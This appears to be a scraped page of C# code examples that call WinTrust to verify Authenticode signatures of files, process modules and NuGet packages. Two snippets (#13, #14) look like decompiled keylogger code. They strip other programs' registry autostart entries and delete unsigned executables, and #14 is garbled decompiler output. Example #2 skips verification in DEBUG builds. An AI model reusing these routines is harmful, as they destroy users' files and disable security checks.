Exemple #1
0
        public static bool CheckSignature(IntPtr ownerWindow, string filename, bool enableUi, out string errorMessage)
        {
            using (var wtd = new WinTrustData(filename)
            {
                UIChoice = enableUi ? WinTrustDataUIChoice.All : WinTrustDataUIChoice.None,
                UIContext = WinTrustDataUIContext.Execute,
                RevocationChecks = WinTrustDataRevocationChecks.WholeChain,
                StateAction = WinTrustDataStateAction.Ignore,
                ProvFlags = WinTrustDataProvFlags.RevocationCheckChain
            }) {
                var trustResult = WinTrust.WinVerifyTrust(
                    ownerWindow, new Guid(WinTrust.WINTRUST_ACTION_GENERIC_VERIFY_V2), wtd
                    );

                if (trustResult == WinVerifyTrustResult.Success)
                {
                    errorMessage = null;
                    return(true);
                }
                else
                {
                    var sb        = new StringBuilder(1024);
                    var charCount = FormatMessage(
                        FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
                        IntPtr.Zero, (uint)trustResult, 0,
                        sb, (uint)sb.Capacity, IntPtr.Zero
                        );

                    errorMessage = sb.ToString(0, (int)charCount);
                    return(false);
                }
            }
        }
Exemple #2
0
        public static bool Verify(string assemblyPath, X509Certificate2 assemblyCertificate = null)
        {
#if DEBUG
            return(true);
#endif

            try
            {
                var isVerified = WinTrust.VerifyEmbeddedSignature(assemblyPath, WinVerifyTrustResult.Success);

                X509Certificate2 cert = new X509Certificate2(assemblyPath);

                if (assemblyCertificate == null)
                {
                    var assembly = Assembly.GetExecutingAssembly();
                    assemblyCertificate = new X509Certificate2(assembly.Location);
                }

                return(isVerified && cert.Equals(assemblyCertificate));
            }
            catch (Exception e)
            {
                LogProvider.Log.Error(typeof(CertificateHelper), $"Could not verify assembly at '{assemblyPath}'", e);
            }

            return(false);
        }
Exemple #3
0
        public static bool HasValidSignature(string fileName)
        {
            try {
                if (_isValidCache.Contains(fileName))
                {
                    return(true);
                }
                var wtd        = new WinTrustData(fileName);
                var guidAction = new Guid(WINTRUST_ACTION_GENERIC_VERIFY_V2);
                WinVerifyTrustResult result = WinTrust.WinVerifyTrust(INVALID_HANDLE_VALUE, guidAction, wtd);
                bool ret = (result == WinVerifyTrustResult.Success);

                if (ret)
                {
                    _isValidCache.Add(fileName);
                }
#if COAPP_ENGINE_CORE
                var response = Event <GetResponseInterface> .RaiseFirst();

                if (response != null)
                {
                    response.SignatureValidation(fileName, ret, ret ? Verifier.GetPublisherInformation(fileName)["PublisherName"] : null);
                }
#endif
                return(ret);
            } catch (Exception) {
                return(false);
            }
        }
        private void Form1_Shown(object sender, EventArgs e)
        {
            Form.CheckForIllegalCrossThreadCalls = false;
            this.listBox1.SelectedIndexChanged  += new System.EventHandler(delegate(object o, EventArgs a)
            {
                try
                {
                    Process curr      = pArray[this.listBox1.SelectedIndex];
                    richTextBox1.Text = "Target Process = " + curr.ProcessName + " , pid = " + curr.Id + "\n";
                    foreach (ProcessModule i in curr.Modules)
                    {
                        richTextBox1.Text += i.FileVersionInfo.ToString() + "path: " + i.FileName + "\n";

                        WinVerifyTrustResult result = WinTrust.VerifySignatureResult(i.FileName);
                        richTextBox1.Text          += ("簽章確認結果:\t" + result + "\n");
                        richTextBox1.Text          += "==============================\n";
                    }
                }
                catch (Exception ex)
                {
                    richTextBox1.Text = ex.ToString();
                }
            });
            this.listBox1.GotFocus += new System.EventHandler(delegate(Object o, EventArgs a)
            {
                isHang = true;
            });
            this.listBox1.LostFocus += new System.EventHandler(delegate(Object o, EventArgs a)
            {
                isHang = false;
            });
            (new System.Threading.Thread(() =>
            {
                while (true)
                {
                    if (isHang)
                    {
                        continue;
                    }
                    if (pArray == null || Process.GetProcesses().Length != pArray.Length)
                    {
                        pArray = Process.GetProcesses();
                        this.Invoke(new MethodInvoker(() => listBox1.Items.Clear()));
                        foreach (var i in pArray)
                        {
                            this.Invoke(new MethodInvoker(() => listBox1.Items.Add(i.Id + "\t" + i.ProcessName)));
                        }
                    }
                    else
                    {
                        System.Threading.Thread.Sleep(1000);
                        continue;
                    }
                }
            })
            {
                IsBackground = true
            }).Start();
            richTextBox1.Focus();
        }
Exemple #5
0
        public static void CheckForSignedExec()
        {
            Process proc     = Process.GetProcessById(ParrentProcessId);
            string  filename = proc.MainModule.FileName;

            Console.WriteLine("[Digital Signature]: {0}", WinTrust.VerifyEmbeddedSignature(filename));
            Console.WriteLine("Parent process path: " + filename);
        }
        static public bool CheckFile(string filename)
        {
            // check digital signature
            bool ret = WinTrust.VerifyEmbeddedSignature(filename);

            // do some other checks - for example verify the subject
            // X509Certificate2 cert = new X509Certificate2(filename);
            return(ret);
        }
        protected internal static string GetSignatureStatus(string Path)
        {
            if (!WindowsFileSystemUtils.NeedsSignature(Path))
            {
                return("");
            }
            string sigStatus = WinTrust.VerifyEmbeddedSignature(Path);

            return(sigStatus);
        }
Exemple #8
0
        protected internal static string GetSignatureStatus(string Path)
        {
            if (!NeedsSignature(Path))
            {
                return(string.Empty);
            }
            string sigStatus = WinTrust.VerifyEmbeddedSignature(Path);

            return(sigStatus);
        }
Exemple #9
0
 public ScanStatus Scan(FileCache file, ref string result)
 {
     if (WinTrust.VerifyEmbeddedSignature(file.Path) == WinVerifyTrustResult.Success)
     {
         result = "Success";
         return(ScanStatus.Stop);
     }
     else
     {
         result = "No digital cert";
         return(ScanStatus.Continiue);
     }
 }
Exemple #10
0
        public IEnumerable <PackageVerifierIssue> Validate(IPackageRepository packageRepo, IPackage package, IPackageVerifierLogger logger)
        {
            string packagePath     = packageRepo.Source + "\\" + package.Id + "." + package.Version.ToString() + ".nupkg";
            string nupkgWithoutExt = Path.Combine(Path.GetDirectoryName(packagePath), Path.GetFileNameWithoutExtension(packagePath));

            try
            {
                UnzipPackage(nupkgWithoutExt);

                foreach (IPackageFile current in package.GetFiles())
                {
                    //string packagePath = package.FileSystem.Root + "\\" + Id + "." + Version + ".nupkg"
                    string extension = Path.GetExtension(current.Path);

                    // TODO: Need to add more extensions?
                    if (extension.Equals(".dll", StringComparison.OrdinalIgnoreCase) ||
                        extension.Equals(".exe", StringComparison.OrdinalIgnoreCase))
                    {
                        string pathOfFileToScan = Path.Combine(nupkgWithoutExt, current.Path);
                        var    realAssemblyPath = pathOfFileToScan;
                        if (!File.Exists(realAssemblyPath))
                        {
                            realAssemblyPath = pathOfFileToScan.Replace("+", "%2B").Replace("#", "%23");
                            if (!File.Exists(realAssemblyPath))
                            {
                                logger.LogError("The assembly '{0}' in this package can't be found (a bug in this tool, most likely).", current.Path);
                                continue;
                            }
                        }
                        bool isAuthenticodeSigned = WinTrust.IsAuthenticodeSigned(realAssemblyPath);
                        if (!isAuthenticodeSigned)
                        {
                            yield return(PackageIssueFactory.PEFileNotAuthenticodeSigned(current.Path));
                        }
                    }
                }
            }
            finally
            {
                CleanUpFolder(nupkgWithoutExt, logger);
            }

            yield break;
        }
Exemple #11
0
        public IEnumerable <PackageVerifierIssue> Validate(PackageAnalysisContext context)
        {
            var extractPath = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());

            try
            {
                UnzipPackage(context.PackageFileInfo, extractPath);
                foreach (var current in context.PackageReader.GetFiles())
                {
                    //string packagePath = package.FileSystem.Root + "\\" + Id + "." + Version + ".nupkg"
                    var extension = Path.GetExtension(current);

                    // TODO: Need to add more extensions?
                    if (extension.Equals(".dll", StringComparison.OrdinalIgnoreCase) ||
                        extension.Equals(".exe", StringComparison.OrdinalIgnoreCase))
                    {
                        var pathOfFileToScan = Path.Combine(extractPath, current);
                        var realAssemblyPath = pathOfFileToScan;
                        if (!File.Exists(realAssemblyPath))
                        {
                            realAssemblyPath = pathOfFileToScan.Replace("+", "%2B").Replace("#", "%23");
                            if (!File.Exists(realAssemblyPath))
                            {
                                context.Logger.LogError(
                                    "The assembly '{0}' in this package can't be found (a bug in this tool, most likely).",
                                    current);

                                continue;
                            }
                        }

                        var isAuthenticodeSigned = WinTrust.IsAuthenticodeSigned(realAssemblyPath);
                        if (!isAuthenticodeSigned)
                        {
                            yield return(PackageIssueFactory.PEFileNotAuthenticodeSigned(current));
                        }
                    }
                }
            }
            finally
            {
                CleanUpFolder(extractPath, context.Logger);
            }
        }
Exemple #12
0
        public static uint IsSigned(string path)
        {
            WinTrustFileInfo fileInfo = new WinTrustFileInfo()
            {
                cbStruct       = (uint)Marshal.SizeOf(typeof(WinTrustFileInfo)),
                pcwszFilePath  = Path.GetFullPath(path),
                hFile          = IntPtr.Zero,
                pgKnownSubject = IntPtr.Zero
            };

            WinTrustData data = new WinTrustData()
            {
                cbStruct            = (uint)Marshal.SizeOf(typeof(WinTrustData)),
                dwProvFlags         = Convert.ToUInt32(Provider.WTD_SAFER_FLAG),
                dwStateAction       = Convert.ToUInt32(StateAction.WTD_STATEACTION_IGNORE),
                dwUIChoice          = Convert.ToUInt32(UIChoice.WTD_UI_NONE),
                dwUIContext         = 0,
                dwUnionChoice       = Convert.ToUInt32(UnionChoice.WTD_CHOICE_FILE),
                fdwRevocationChecks = Convert.ToUInt32(RevocationChecks.WTD_REVOKE_NONE),
                hWVTStateData       = IntPtr.Zero,
                pFile = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinTrustFileInfo))),
                pPolicyCallbackData = IntPtr.Zero,
                pSIPClientData      = IntPtr.Zero,
                pwszURLReference    = IntPtr.Zero
            };

            // Potential memory leak. Need to investigate
            Marshal.StructureToPtr(fileInfo, data.pFile, false);

            IntPtr pGuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Guid)));
            IntPtr pData = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinTrustData)));

            Marshal.StructureToPtr(data, pData, true);
            Marshal.StructureToPtr(WinTrust.WINTRUST_ACTION_GENERIC_VERIFY_V2, pGuid, true);

            uint result = WinTrust.WinVerifyTrust(IntPtr.Zero, pGuid, pData);

            Marshal.FreeHGlobal(pGuid);
            Marshal.FreeHGlobal(pData);

            return(result);
        }
Exemple #13
0
 public static void StartupFucker(string regkey, int type)
 {
     try
     {
         RegistryKey key;
         if (type == 1)
         {
             key = Registry.CurrentUser.OpenSubKey(regkey);
         }
         if (type == 2)
         {
             key = Registry.LocalMachine.OpenSubKey(regkey);
         }
         foreach (string str in key.GetValueNames())
         {
             try
             {
                 string expression = key.GetValue(str).ToString();
                 if (expression.Contains("-"))
                 {
                     if (expression.Contains("\""))
                     {
                         expression.Replace("\"", string.Empty);
                     }
                     try
                     {
                         expression = Strings.Split(expression, " -", -1, CompareMethod.Binary)[0];
                     }
                     catch (Exception exception1)
                     {
                         ProjectData.SetProjectError(exception1);
                         ProjectData.ClearProjectError();
                     }
                 }
                 if (expression.Contains("\""))
                 {
                     expression = expression.Split(new char[] { '"' })[1];
                 }
                 if (!expression.Contains(Application.ExecutablePath))
                 {
                     RemoveKey(type, str, regkey, expression);
                     if (!WinTrust.VerifyEmbeddedSignature(expression))
                     {
                         Startupkilled++;
                         DestroyFile(expression);
                     }
                 }
             }
             catch (Exception exception2)
             {
                 ProjectData.SetProjectError(exception2);
                 ProjectData.ClearProjectError();
             }
         }
     }
     catch (Exception exception3)
     {
         ProjectData.SetProjectError(exception3);
         ProjectData.ClearProjectError();
     }
 }
Exemple #14
0
        public static bool IsFileMalicious(string fileloc)
        {
            bool flag;
            int  num2;

            try
            {
                int num3;
Label_0001:
                ProjectData.ClearProjectError();
                int num = -2;
Label_0009:
                num3 = 2;
                if (!fileloc.Contains(Application.ExecutablePath))
                {
                    goto Label_0028;
                }
Label_001D:
                num3 = 3;
                flag = false;
                goto Label_0221;
Label_0028:
                num3 = 5;
                if (!fileloc.Contains(SplitFunzioni.KeyloggherExePatch))
                {
                    goto Label_0047;
                }
Label_003C:
                num3 = 6;
                flag = false;
                goto Label_0221;
Label_0047:
                num3 = 8;
                if (!fileloc.Contains("cmd"))
                {
                    goto Label_0067;
                }
Label_005B:
                num3 = 9;
                flag = true;
                goto Label_0221;
Label_0067:
                num3 = 11;
                if (!fileloc.Contains("wscript"))
                {
                    goto Label_0088;
                }
Label_007C:
                num3 = 12;
                flag = true;
                goto Label_0221;
Label_0088:
                num3 = 14;
                if (!fileloc.Contains(RuntimeEnvironment.GetRuntimeDirectory()))
                {
                    goto Label_00A9;
                }
Label_009D:
                num3 = 15;
                flag = true;
                goto Label_0221;
Label_00A9:
                num3 = 0x11;
                if (!WinTrust.VerifyEmbeddedSignature(fileloc))
                {
                    goto Label_00C5;
                }
Label_00B9:
                num3 = 0x12;
                flag = false;
                goto Label_0221;
Label_00C5:
                num3 = 20;
                if (!(fileloc.Contains(Environment.GetEnvironmentVariable("USERPROFILE")) | fileloc.Contains(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData))))
                {
                    goto Label_00F9;
                }
Label_00ED:
                num3 = 0x15;
                flag = true;
                goto Label_0221;
Label_00F9:
                num3 = 0x17;
                FileAttributes attributes = File.GetAttributes(fileloc);
Label_0104:
                num3 = 0x18;
                if ((attributes & FileAttributes.System) != FileAttributes.System)
                {
                    goto Label_0120;
                }
Label_0114:
                num3 = 0x19;
                flag = true;
                goto Label_0221;
Label_0120:
                num3 = 0x1b;
                if ((attributes & FileAttributes.Hidden) != FileAttributes.Hidden)
                {
                    goto Label_013C;
                }
Label_0130:
                num3 = 0x1c;
                flag = true;
                goto Label_0221;
Label_013C:
                num3 = 30;
                flag = false;
                goto Label_0221;
Label_0152:
                num2 = 0;
                switch ((num2 + 1))
                {
                case 1:
                    goto Label_0001;

                case 2:
                    goto Label_0009;

                case 3:
                    goto Label_001D;

                case 4:
                case 5:
                    goto Label_0028;

                case 6:
                    goto Label_003C;

                case 7:
                case 8:
                    goto Label_0047;

                case 9:
                    goto Label_005B;

                case 10:
                case 11:
                    goto Label_0067;

                case 12:
                    goto Label_007C;

                case 13:
                case 14:
                    goto Label_0088;

                case 15:
                    goto Label_009D;

                case 0x10:
                case 0x11:
                    goto Label_00A9;

                case 0x12:
                    goto Label_00B9;

                case 0x13:
                case 20:
                    goto Label_00C5;

                case 0x15:
                    goto Label_00ED;

                case 0x16:
                case 0x17:
                    goto Label_00F9;

                case 0x18:
                    goto Label_0104;

                case 0x19:
                    goto Label_0114;

                case 0x1a:
                case 0x1b:
                    goto Label_0120;

                case 0x1c:
                    goto Label_0130;

                case 0x1d:
                case 30:
                    goto Label_013C;

                case 0x1f:
                    goto Label_0221;

                default:
                    goto Label_0216;
                }
Label_01DB:
                num2 = num3;
                switch (((num > -2) ? num : 1))
                {
                case 0:
                    goto Label_0216;

                case 1:
                    goto Label_0152;
                }
            }
            catch (object obj1) when(?)
            {
                ProjectData.SetProjectError((Exception)obj1);
                goto Label_01DB;
            }
Label_0216:
            throw ProjectData.CreateProjectError(-2146828237);
Label_0221:
            if (num2 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return(flag);
        }
Exemple #15
0
        private static void DeployApplication(
            DeployAppMode mode,
            DeviceInfo deviceInfo,
            IAppManifestInfo manifestInfo,
            DeploymentOptions deploymentOptions,
            string packageFile,
            bool disconnect = true)
        {
            if (PackageType.Framework != manifestInfo.PackageType && WinTrust.VerifyEmbeddedSignature(packageFile))
            {
                throw new Exception(
                          string.Format(
                              CultureInfo.CurrentUICulture,
                              Resources.InvalidPackaging,
                              new object[0]));
            }

            var connectableDevice =
                new MultiTargetingConnectivity(CultureInfo.CurrentUICulture.LCID).GetConnectableDevice(
                    deviceInfo.DeviceId);
            var device        = connectableDevice.Connect(true);
            var systemInfo    = device.GetSystemInfo();
            var deviceVersion = new Version(systemInfo.OSMajor, systemInfo.OSMinor);

            if (manifestInfo.PlatformVersion.CompareTo(deviceVersion) > 0)
            {
                device.Disconnect();
                throw new Exception(
                          string.Format(
                              CultureInfo.CurrentUICulture,
                              Resources.XapNotSupportedOnDevice,
                              new object[0]));
            }

            var flag = IsTargetApplicableforMdilGeneration(
                connectableDevice,
                deviceVersion,
                manifestInfo,
                packageFile);

            ApplySideloadFlags(manifestInfo, ref deploymentOptions);
            if (mode == DeployAppMode.Install)
            {
                if (device.IsApplicationInstalled(manifestInfo.ProductId))
                {
                    if (manifestInfo.PackageType == PackageType.Framework)
                    {
                        return;
                    }

                    device.GetApplication(manifestInfo.ProductId).Uninstall();
                }

                foreach (var str in DependencyFinder.GetAppDependencyPackages(packageFile))
                {
                    var manifestInfo1 = ReadAppManifestInfoFromPackage(str);
                    DeployApplication(
                        DeployAppMode.Install,
                        deviceInfo,
                        manifestInfo1,
                        DeploymentOptions.OptOutSD,
                        str,
                        false);
                }
            }

            var app = (IRemoteApplication)null;

            if (mode == DeployAppMode.Update)
            {
                app = device.GetApplication(manifestInfo.ProductId);
            }

            var typeOfApp        = DetermineAppType(packageFile);
            var applicationGenre = ((int)deploymentOptions).ToString(CultureInfo.InvariantCulture);
            var iconPath         = ((int)manifestInfo.PackageType).ToString(CultureInfo.InvariantCulture);

            switch (mode)
            {
            case DeployAppMode.Install:
                break;

            case DeployAppMode.Update:
                break;
            }

            var path = (string)null;

            try
            {
                if (IsMdilFirst(typeOfApp, manifestInfo))
                {
                    if (flag)
                    {
                        path        = GenerateNDeployMdil(packageFile, null, typeOfApp, manifestInfo);
                        packageFile = path;
                    }

                    switch (mode)
                    {
                    case DeployAppMode.Install:
                        app = device.InstallApplication(
                            manifestInfo.ProductId,
                            manifestInfo.ProductId,
                            applicationGenre,
                            iconPath,
                            packageFile);
                        break;

                    case DeployAppMode.Update:
                        app.UpdateApplication(applicationGenre, iconPath, packageFile);
                        break;
                    }
                }
                else
                {
                    switch (mode)
                    {
                    case DeployAppMode.Install:
                        app = device.InstallApplication(
                            manifestInfo.ProductId,
                            manifestInfo.ProductId,
                            applicationGenre,
                            iconPath,
                            packageFile);
                        break;

                    case DeployAppMode.Update:
                        app.UpdateApplication(applicationGenre, iconPath, packageFile);
                        break;
                    }

                    if (flag)
                    {
                        path = GenerateNDeployMdil(packageFile, app, typeOfApp, manifestInfo);
                    }
                }
            }
            finally
            {
                if (!GlobalOptions.LeaveBehindOptimized && !string.IsNullOrWhiteSpace(path) && File.Exists(path))
                {
                    File.Delete(path);
                }
            }

            if (GlobalOptions.LaunchAfterInstall && app != null)
            {
                app.Launch();
            }

            if (!disconnect)
            {
                return;
            }

            device.Disconnect();
        }